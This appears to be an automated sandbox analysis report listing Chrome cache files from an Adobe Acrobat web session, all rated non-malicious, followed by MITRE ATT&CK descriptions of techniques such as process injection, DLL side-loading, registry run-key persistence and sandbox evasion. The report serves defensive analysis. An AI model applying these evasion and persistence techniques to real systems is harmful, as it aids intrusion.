SHA-256:	D0D536F99F92C69E893149B42F3D45BD369475DFDBFB6843E1DCCE3C5558B091
SHA-512:	1BB4214EFE6DF4A7BEFCEEDE22025C40572FEE3F443275C8A558D0016E11BECE05ECDECD966807382BFF7A016D6E266DFCF1184A18F9860FC8852A911E0EA3AF
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/pwa/pwa-images/acrobat_reader_pro_standard_appicons_macos11_256x256@1x.png
Preview:	.PNG........IHDR.............\r.f....pHYs...........~....1IDATx....\ey..wf.cv7..V.D4.( 5...Z<.A.....b...z......bH.ED)hQI).Q8J...%..6!'..@...5`...dwg..<w.w..2.w........g6....>...z..q]...\|R..;!...@H.....c(......!9..@H.....c(......!9..@H.....c(......!9..@H.....c(......!9..@H.....c(......!9...7.8....>...?...vs:.;.c..Co...;..$[....g.......2z.......B.!..d......q...dJ.\|+}.w.....+....."p.....T.$'....3.X.....'........DA?.....dB...^..Eu.n,.._Q..K..8....\.p\`b....................k.T.P...0.9...2>.........'$,...u[.W\|.!.U..<.4.A..q.3......!.z\|.W.....K....W....xZB..g... U..d..XU.E.\9.......w.x..u\|................P..^.K...../.A....<.S....[..O.).G..o ...[.....6........$.....C...&..A.D..2..8.[e.....a.$.:.kk..[^.j4...Hln ..0o.<g....?x.(.?.....GH[.\...)..D`F.@-.".8.....a.I%.U.^...GH j.o..]?....U..... Q.`....__.Y.+.:..HJ.m......^. I"....>...i......i.$....p..e\.`D.5.lUE+.$......#.n.........;].v...........].\|.?D.'Yd....2.k.O...O../....u.?.....b..............#"p}..(O.

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 38976, version 1.0
Category:	downloaded
Size (bytes):	38976
Entropy (8bit):	7.994496028599995
Encrypted:	true
SSDEEP:
MD5:	3DC8E6938118F5FA1AF3E7A5A98BAA66
SHA1:	03CD9EE2CD0B7CD881FA75FF4A7369E68BD2154A
SHA-256:	3D75BB0A01BC2FD0E963F6879634C371B205CA4DA67021B0F453592337DCC001
SHA-512:	E54C11536A137510F0150C4A36001C81B2F8FF16E639FBC39E72218B1C5335CB3D43A7641DDF146E3CC0E7A338DC9D0F56006FE5659B91749F3C5C82A002F0DE
Malicious:	false
Reputation:	unknown
URL:	https://use.typekit.net/af/4b3e87/000000000000000000017706/27/l?primer=0635fba006f1437d962ae878ad04a353e0c3568e4d5bde3554eb7e3e05ddd02d&fvd=n9&v=3
Preview:	wOF2OTTO...@....................................F...?DYNA.i?GDYN.Q..B.`..P...6.$..@....7. ..... ..q....CDE..E$..........W...?../~.....O...?.....E`...:.EuUd....Z...u..x.?.g..N3I..{.......XI.I:.Z.hB.z...q.\....LT..1.ir.....@..@g6.L..yZ.X..Y...2....3.H...E...E.i..dedGV"..<.U.:5.\...'?...q...Ih?..!,.n...u`..cE.."k..r......d......4l..6o.[4...M..h..K........^...! ......`OL...S.I............!Bd.....O..o~...+.b.K$N.a.5-.$k:a.0...z'........F....q.........Y..-q.a@.........s..@8(.qGA....#.$.B.T.n....Z...._.T......!..\|...A..>....-x..d.._V...)...v..~&..L.i.'.?..]%o.'...I~..).~:L..@c..g...d....r.a....8.N...:;$..._ .x"..=.S......X..U-[~.MI.XF9.~S[.....?.............D`fW.f.s.b.......)JN..\.)u.j......E..!M+..^.%@.@.l.o..V.f3&.a..I..%l....3..l.e.T..$'.3Y........Zl....)..K-.=.T..........h]<.U....P...'.......i..D.Z...FA.m.B\...\..b.{...hK..-}.......*?.T.].{V./~M....A;.OL.v.=.v@...d.j.....:...C....F"...%P.....9X..X....8........x..x.....T..R.jM..'. w.P..d.B

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10418)
Category:	downloaded
Size (bytes):	10485
Entropy (8bit):	5.342008116100917
Encrypted:	false
SSDEEP:
MD5:	BCFD581331F6D0D1EF1A5EAA9E10D4CD
SHA1:	46251C6BFC0AEF65B7729AD77A36C4CAFCDAD4AB
SHA-256:	F8C7CA2A6BAF89208C0A433DBEA58D40FD5799AD919195B5E02DFEC9D47531C7
SHA-512:	F73CFC313E8E658ED293711F27E53728B7B48886A412EB5E76104284C2B679D24C9FA44277CFF04E7A0E4BB70B29B52A2DB6C40F79A3546ABBFE5D73CC295FE3
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/d6a236877/890-d812b7169617a06aa755.js
Preview:	"use strict";(self["webpackJsonp-dc-web-app"]=self["webpackJsonp-dc-web-app"]\|\|[]).push([[890],{"74hU":(y,M,P)=>{P.d(M,{onCLS:()=>F,onFCP:()=>I,onFID:()=>O,onINP:()=>$,onLCP:()=>ne,onTTFB:()=>oe});var A,B,H,J,U,a=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]},o=function(y){if("loading"===document.readyState)return"loading";var M=a();if(M){if(y<M.domInteractive)return"loading";if(0===M.domContentLoadedEventStart\|\|y<M.domContentLoadedEventStart)return"dom-interactive";if(0===M.domComplete\|\|y<M.domComplete)return"dom-content-loaded"}return"complete"},u=function(y){var M=y.nodeName;return 1===y.nodeType?M.toLowerCase():M.toUpperCase().replace(/^#/,"")},c=function(y,M){var P="";try{for(;y&&9!==y.nodeType;){var A=y,B=A.id?"#"+A.id:u(A)+(A.classList&&A.classList.value&&A.classList.value.trim()&&A.classList.value.trim().length?"."+A.classList.value.trim().replace(/\s+/g,"."):"");if(P.length+B.length>(M\|\|100)-1)return P\|\|B;if(P

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65469)
Category:	downloaded
Size (bytes):	262851
Entropy (8bit):	5.792694364327375
Encrypted:	false
SSDEEP:
MD5:	AD45AD021158B250A53BCC3F741F3B08
SHA1:	BF5D7E1D7904F8BF24BAF6C138FBA456B77E8DE6
SHA-256:	297C5409223368B92CD40E3518156E022EB881807F9521DC836F7D3361296A50
SHA-512:	23F0A8AA5C2F4DFFD2F145E1483685D70249A1E54C9268022C9BD51C558A6F2A55391B09435DB1F8D062729C9B7694616FE50E1C439C00B53D6471A8B4BDD3F0
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-fillsign2-dropin/3.17.1_1.306.0/bootstrap.js
Preview:	/! For license information please see bootstrap.js.LICENSE.txt /.(()=>{var e,t,i,n,a={"25oc":function(e){!function webpackUniversalModuleDefinition(t,i){e.exports=i()}(0,(function(){return function(e){var t={};function __nested_webpack_require_1722__(i){if(t[i])return t[i].exports;var n=t[i]={exports:{},id:i,loaded:!1};return e[i].call(n.exports,n,n.exports,__nested_webpack_require_1722__),n.loaded=!0,n.exports}return __nested_webpack_require_1722__.m=e,__nested_webpack_require_1722__.c=t,__nested_webpack_require_1722__.p="",__nested_webpack_require_1722__(0)}([function(e,t,i){!function(){"use strict";var t=i(1),n=i(3),a=i(2);e.exports={utils:a,createCapture:function(e,i){return new t(e,i)},createRender:function(e,t){return new n(e,t)}}}()},function(e,t,i){!function(){"use strict";var t=i(2);function DCScribbleCapture(e,i){this._canvas=e,this._context=e.getContext("2d"),this._type=t.TYPE_SMOOTHED,(!(i=i\|\|{}).hasOwnProperty("intent")\|\|i.intent!==t.INTENT_SIGNATURE&&i.intent!==t.INTENT

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32252)
Category:	downloaded
Size (bytes):	32329
Entropy (8bit):	5.430366908767645
Encrypted:	false
SSDEEP:
MD5:	C036798A081B1D3C873B317EA139260B
SHA1:	A05AC7AC7E3C04F94252CD73E1F8E0B4E922DF41
SHA-256:	3FF9D5E5B8220661588A85FEDD0C93774BA612EA53F3C0F4532DF820CECC936A
SHA-512:	8994A4A4869DAD58591C17F45ED6EB94911554E3363F4D61FC42CB537CCBE60CD894FAEF730D8F2BFF558971A50CA53EC400BFBD947A18D6C9658111A633CA3D
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-rendition-provider/3.19.2_6.30.0/AJS/build/renderingWorker_we.js
Preview:	/! For license information please see renderingWorker_we.js.LICENSE.txt /.!function(n){var u={};function r(s){if(u[s])return u[s].exports;var p=u[s]={i:s,l:!1,exports:{}};return n[s].call(p.exports,p,p.exports,r),p.l=!0,p.exports}r.m=n,r.c=u,r.d=function(n,u,s){r.o(n,u)\|\|Object.defineProperty(n,u,{enumerable:!0,get:s})},r.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},r.t=function(n,u){if(1&u&&(n=r(n)),8&u)return n;if(4&u&&"object"==typeof n&&n&&n.__esModule)return n;var s=Object.create(null);if(r.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:n}),2&u&&"string"!=typeof n)for(var p in n)r.d(s,p,function(u){return n[u]}.bind(null,p));return s},r.n=function(n){var u=n&&n.__esModule?function(){return n.default}:function(){return n};return r.d(u,"a",u),u},r.o=function(n,u){return Object.prototype.hasOwnProperty.call(n,u)},r.p="",r(r.s=96)}([function(n,

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (477)
Category:	downloaded
Size (bytes):	12987
Entropy (8bit):	5.563375540465114
Encrypted:	false
SSDEEP:
MD5:	C4FAE49271A918C2AC763B90C5376F18
SHA1:	8D59008924DC85437490D5A223FEB5DDBCC669D6
SHA-256:	15D373F0C2E0AC3927CEF7B8C9931666458D02FD22192B01ECA9158D787FC594
SHA-512:	C11EC24C98D90BB1DCA9FD2F9055140F1DFF5B70425FD04480F87201C962258EAD5DCC74B0CE8B0C5F0FA0D5E87CC1825C05C25F05F90204F82555056673BADF
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/home/offline.html
Preview:	<!DOCTYPE html>. Copyright (c).2020 Adobe Systems Incorporated. All rights reserved. -->. offline.html -->.<html>.<head>.<style>.body {. background-color: #fff;. color: #333;. font-family: adobe-clean, Helvetica, Arial, sans-serif;. font-size: 16px;. margin: 0;. text-align: center;.}...content {. align-items: center;. display: flex;. height: 100vh;. justify-content: center;.}..h1 {. color: #2c2c2c;. font-size: 28px;. font-weight: lighter;. margin: auto;. margin-top: 16px;.}..@media (min-width: 375px) {. h1 {. margin-top: 32px;. }.}..#service-msg {. color: #707070;. font-size: 14px;. font-style: italic;. margin-top: 12px;.}..#lang-picker {. font-size: 12px;. margin: auto;. margin-top: 72px;.}...lang-choice {. color: #747474;. cursor: pointer;. display: inline-block;. padding: 6px;. text-decoration: none;.}...lang-choice.selected {. color: #323232;.}...lang-choice.selected:hover {.

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	7541
Entropy (8bit):	4.86366266708312
Encrypted:	false
SSDEEP:
MD5:	C288CFEF81281F59C6053E78E0707B43
SHA1:	0718F2186252511B4CE3DC95D7EF2539D27C7994
SHA-256:	4A4DD5F47A9897B639EBD9D7142D38D596BBE4F7DC9E2BAD87FBBD7D93C87206
SHA-512:	5F49FA3D57E80CE39802A5E969FF21E7FC314340778C5017CC133F43B950E279012BB63F8FC818B12E562E14928A8CB4EACF7F0D3A081D5653ACA11E82C93E7D
Malicious:	false
Reputation:	unknown
URL:	https://p13n.adobe.io/fg/api/v3/feature?clientId=dc-prod-virgoweb&meta=false
Preview:	{"analyticsVersion":"2.0","api_version":"0.1","json_version":"0.1","ttl":60,"caching_enabled":false,"client_analytics_params":{"app_id":44,"safe_event_required":false,"analytics_required":false},"releases":[{"bit_index":450,"release_name":"dc-share-frictionless-panel","features":["dc-share-frictionless-wordtopdf-panel"],"release_analytics_params":[{"app_id":44,"release_id":290,"bit_index":450,"variant_id":10001788,"feature_id":-1,"analytics_required":true,"event_id":"b547519d-2ce4-4d0e-a0af-fa28c986cae7"}]},{"bit_index":1272,"release_name":"dc-fs2-sign-label","features":["fs2-sign-label-esign"],"release_analytics_params":[{"app_id":44,"release_id":1112,"bit_index":1272,"variant_id":10010463,"feature_id":-1,"analytics_required":true,"event_id":"7067aa5e-91e3-47a2-a624-f79973283243"}]},{"bit_index":1833,"release_name":"dc-web-sign-coachmark-grp","features":["dc-web-show-sign-coachmark"],"release_analytics_params":[{"app_id":44,"release_id":1673,"bit_index":1833,"variant_id":10016209,"fea

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29244)
Category:	downloaded
Size (bytes):	29300
Entropy (8bit):	5.169009800491786
Encrypted:	false
SSDEEP:
MD5:	C3244B94BB82B3C7923D119FE3BB0DB1
SHA1:	157E8A9684045ED856A6D0CF7B8B1415A51D88D1
SHA-256:	534AA2D2F9687A6CAAEEE531267A5DBB33B0C56CFDEE805DBEFA314DF2B8CF1D
SHA-512:	5CCA495198E6FBEB5C2A6A97A613F91B2723423B0C5AEA65C634A8C93433E0367AAF0C20D44BA896DC813BABDEF6EC67C3C891E5653C9BD46153076CB63816DB
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/sw.js
Preview:	(()=>{"use strict";var e={jATO:()=>{try{self["workbox:core:6.5.4"]&&_()}catch(e){}},sKJR:()=>{try{self["workbox:precaching:6.5.4"]&&_()}catch(e){}},q8A1:()=>{try{self["workbox:routing:6.5.4"]&&_()}catch(e){}},"1gkF":()=>{try{self["workbox:strategies:6.5.4"]&&_()}catch(e){}}},t={};function __nested_webpack_require_534__(r){var n=t[r];if(void 0!==n)return n.exports;var s=t[r]={exports:{}};return e[r](s,s.exports,__nested_webpack_require_534__),s.exports}__nested_webpack_require_534__.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var r={};(()=>{__nested_webpack_require_534__.r(r),__nested_webpack_require_534__("jATO");class WorkboxError_WorkboxError extends Error{constructor(e,t){super(function(e){let t=e;for(var r=arguments.length,n=new Array(r>1?r-1:0),s=1;s<r;s++)n[s-1]=arguments[s];return n.length>0&&(t+=` :: ${JSON.stringify(n)}`),t}(e,t)),this.name=e,this.details=t}

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 567 x 320, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	61779
Entropy (8bit):	7.981532772205897
Encrypted:	false
SSDEEP:
MD5:	5B8C30495BD157C377BEC29396AEE6F3
SHA1:	8D0C06676BB602D55A6133A0C9966794E5EACF75
SHA-256:	63CB5314DB63D5CD2F24DA33EF66506B438933D4CE0ACAD9299AA88985D55917
SHA-512:	CEA4415E0D7FD1A2248843A485898654108CF0C41FF08A44DAB8C466B16A5D4EB43317529AB8670A72E892C9B93D989C042C015215AA2986669A1830CA76FC7E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...7...@.....w9.x....PLTE..........Eg.<h.5].Lf.............$#$/,4X4..................'........(..'.... .$0.....5&(9%4.ORh.....E..<.3MCHb..4..;J[..$A:@Y\au...$,H...(>...<.M.$\.6m.4d.?q.Fp.....4..<,d.U..q........W...4z...n....z..g...<T....4D.<L..$-CLYz.hx~.,4.4<<T\....,5.@L3[fDkv....:F.4<V...<D$DLi..4T\.......4<.&,.<D'LT.......DJLtx,TW(;<;df4ST-BCVyz.......<<.$$.44....<<$LL.,,$DD3\\.44,LL<\\Eff\..E\\?TT...j..Mnl8HG{.....v..l..\|..0_Q,63avp$L?,LB,TF8WK.6!A4G]TSd]@eTx.z6;7...KTLckc...=D<FKD................twj\^T...$$.......(...........u..]......UTL.....I..[h\...\..........s...........;..G..H..Y..i..g.X..b..{..K..y................Z..g~qD\T6..rj_<..............tkY......94,PF:.zd......H=4...mYJZMCyU>.X>hG6[A42$.I5+8,&g?,zL6W:,vB-B..X0".?)j5$F,%e,.K%..{g(........................IDATx....`Te./..TOO.=...I..qD.......t......p..h.f..i.E..Vl....3Wo...&.N..I.$r..TA.Xg..='V..2n,....V..Y..,..m.b...=.Nm.*../...,...,.&.sk.2..l.=V....x..1s..3W.c...8.;w.:1.7o

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 567 x 320, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	50663
Entropy (8bit):	7.972576106041707
Encrypted:	false
SSDEEP:
MD5:	D35D9AD7A044121ADBA1407BA81D8D86
SHA1:	A520AFFC9EFFD5128B7B9BBCF1DCA7FD1D5FA914
SHA-256:	B9995DE4418ECDA54965D1B84A65111A34DAA1F558F247BE8B95043A3A02C0CC
SHA-512:	E8C07C7601A97374927EAAFCD32CFDC1EABCEE63169CDE78D485385C25C226A31C9394E5F5C312D3B32BAA45AC6EAE15CC67B32D8EEFFD760EBFC1C6FF645C2B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...7...@.....w9.x....PLTE.......)...............................MPX.>..N.$[.2f.2f.7m.6j.6i.Fu..e.;n.Iu.Z......."Zo......[..E.(a.Bt.z........`......q.m{....~.....x..Sr.e...6B.>J....2<...........#.:C.ISw......:B.>G.6=.CK.>F&NV..4..3+EJ.%....&.=B.6:5]cCkq:VZ....-....:>.BF$JO'MR#FJ.NR%=@5VZ."%.#%.25.+-+SW3SVLtxSy\|X~.#-.....,.;=#CEKM3Z\<ce]..z...56=[\d.....Fhh5LL)990AA............OqpD]\>TSa}\|Ywu...Gb`l..q..k.~x..s..J?Qc]....4BPK... >2HYR<HCEeW\i`...;C<..7;7ehe...{.z......GJEmtgNQJ341y}nAB>UVR....]]Z..-......u.......?...._..zp]meV....5.zf........QF:(&....;]PE..gI<2...qZJ}T=Z?0...U;.]DqM:gG69+$1%.<0$ ..K2uG2f@.U8+J4D.&~>(o8&?%.c1"V.#L(............/.."..6..?%.M5.^G.p[..p..........%..,...............................................................xxxppp..........6f1...IDATx.....[.u.Kh.3$.?$-.....4irK..\.M..1..7`..$.A0.Q..........$..1c.o..$M..-J..\.........6.-.F..#.#......>g.#...p0.}4..F~.3..]k...o.eb8....c......W.q....q..[....k...,.7..c..e.X

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 38948, version 1.0
Category:	downloaded
Size (bytes):	38948
Entropy (8bit):	7.992760264211827
Encrypted:	true
SSDEEP:
MD5:	8CF9CE13F6FE0205F4EAAC49FA17B681
SHA1:	2CEF6CD00A2D4A5CD5E0AB6F00042A70F1B73756
SHA-256:	85257E2624BBB138582821CEB2F8B18C7B4FB43D26C1BCBFD5155CA81B55CC69
SHA-512:	7F646C7CA915C77F92FF0D3DB97DF62379597D2348A43188B117076939D1A0FA2F6A7D2C1F20D608A5161A5AC0010789CAF43E893FC06437B302C6BDC1D4A77B
Malicious:	false
Reputation:	unknown
URL:	https://use.typekit.net/af/eaf09c/000000000000000000017703/27/l?primer=0635fba006f1437d962ae878ad04a353e0c3568e4d5bde3554eb7e3e05ddd02d&fvd=n7&v=3
Preview:	wOF2OTTO...$.......l.............................F...+?DYNA.i?GDYN.Q..L.`..P...6.$..@...... .r...H.... ..CDQ.."1..UUU.&.w... .._..w..._..........7......e....#.1......7...@..=..f9.N...0..3..J)...hTM.#.Zg.Ii.@..IC8lO4...cR0.lf.I.W..xZ.'..;..r\Jv....E-...V..A4.[..`-&AKPi.."...R3.....p..Gi.9V..m..>.f_\..D..I.$-..a.../?.m>...;GX.......=..b...b,..b.....\.m.vPQ..^...R.b..D.............I..~23....2.L..JJj0vL.)L..._......0..q.o7.r.N9.]cMR.h...S..(".0e..]...._.U..r..O...i.{..U.....pi.t@%...T..j...4.}..i.....a.a..P.........T81.TL..tY.R...^...1.._.g..5..K....P/Y.,.s=3..#.....U.o........G..@......#..0.(.4. .49..~..n...B....~.....0..?.[..v..;..F.3....B...(.ZG..c....j...1'C....i...2.h.g.^.O...f."9.r..a.gv..Z..{.:.....".m....=Cg.....5.j2......N..Q..T3..N..........p.7..q,."8;. .E.ai..F.j.......B..{t...>z..}.....G...I..vq^..t......k..E$.~.k.h.&...~h.........!.Y(@9t....L.\,.J..6..!..9\.m..C<G3^..>.;...ySk.D=i......8J....!.....M.h%m......L...=.W.L...}._L.

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (30833)
Category:	downloaded
Size (bytes):	652324
Entropy (8bit):	5.152028101692628
Encrypted:	false
SSDEEP:
MD5:	68E6ACA7A55A060C7BB1665EA39E4AF2
SHA1:	3AFB638F70EEADB8940A075F2ADA74DC9946D477
SHA-256:	E6C466CC9FD191E4CC7FF785113C20371EA6D2A3DB5C01F9E2E2EC266ED88535
SHA-512:	CF594E93E708D9207182FFDAFBB9C7598D0AB52B6D23998A88F5058FF83C3C1926438A7511CB3642A5B6F436C9AB174AE0B1E55478AF277B9E954FB88CF75DEA
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5
Preview:	<!doctype html><html><head><meta charset="utf-8"/><meta id="viewport" name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><meta name="Description" content="Adobe Acrobat"/><meta name="theme-color" content="#3367D6"/><meta name="application_version" content="3.26.11-d6a236877"/><meta name="overrides-pdfverbs" content='' /><meta name="overrides-home2" content='{ .."vertical_name": "vertical-home2", .."app_name": "dc-web-app", .."app_deployment_name": "home2",.."app_version": "3.2.4",.."overrides": { ..."dc-home2-dropin": { ...."dropin_version": "2.55.0",...."core_version": "3.1.0"...},..."dc-context-board-dropin": {...."dropin_version": "2.15.0",...."core_version": "3.1.0"...}...} .} ' /><meta name="vertical-viewer" content='' /><title>Adobe Acrobat</title>. <base href="/home/"/>. <meta name="referrer" content="origin"/>. <link rel="icon" type="image/vnd.microsoft.icon" href="/favicon.ico"/>. <link rel="shortcut icon" type="image/vnd.microsoft.icon"

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65458)
Category:	downloaded
Size (bytes):	552648
Entropy (8bit):	5.651549682560665
Encrypted:	false
SSDEEP:
MD5:	1EA514B9E5C7EE2629C4CA4F5EBD0150
SHA1:	E29E2620819C9ADE643BEEB04A1D232F401F5732
SHA-256:	8CE78ED2B6AB2A332768ED925E9AB53D35D9E989E02050A98ECC20E8D09FF4BD
SHA-512:	D540FD3EEC5C25F5E3C64FF87AED6A24AEBDC2C70ECB33BE58FC88C8822C676B6D14F70144C38943957742221BE5FABCC46D8767AD8104B37657776ABB73B1DF
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dcpreviewdropin/3.0.2_2.709.0/acroform-chunk-chunk.js
Preview:	/! For license information please see acroform-chunk-chunk.js.LICENSE.txt /.(self["webpackJsonp-preview"]=self["webpackJsonp-preview"]\|\|[]).push([[9035],{"8G+c":(t,y,T)=>{var R;self,R=(t,y,T,R)=>(()=>{var N,P,M,L,B={7757:(t,y,T)=>{t.exports=T(5666)},3070:(t,y,T)=>{"use strict";T.d(y,{Z:()=>cl});var R=T(3144),N=T(5671);function i(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function a(t,y){return a=Object.setPrototypeOf\|\|function(t,y){return t.__proto__=y,t},a(t,y)}function s(t,y){if("function"!=typeof y&&null!==y)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(y&&y.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),y&&a(t,y)}function l(t){return l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},l(t)}func

Static File Info

⊘No static file info

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

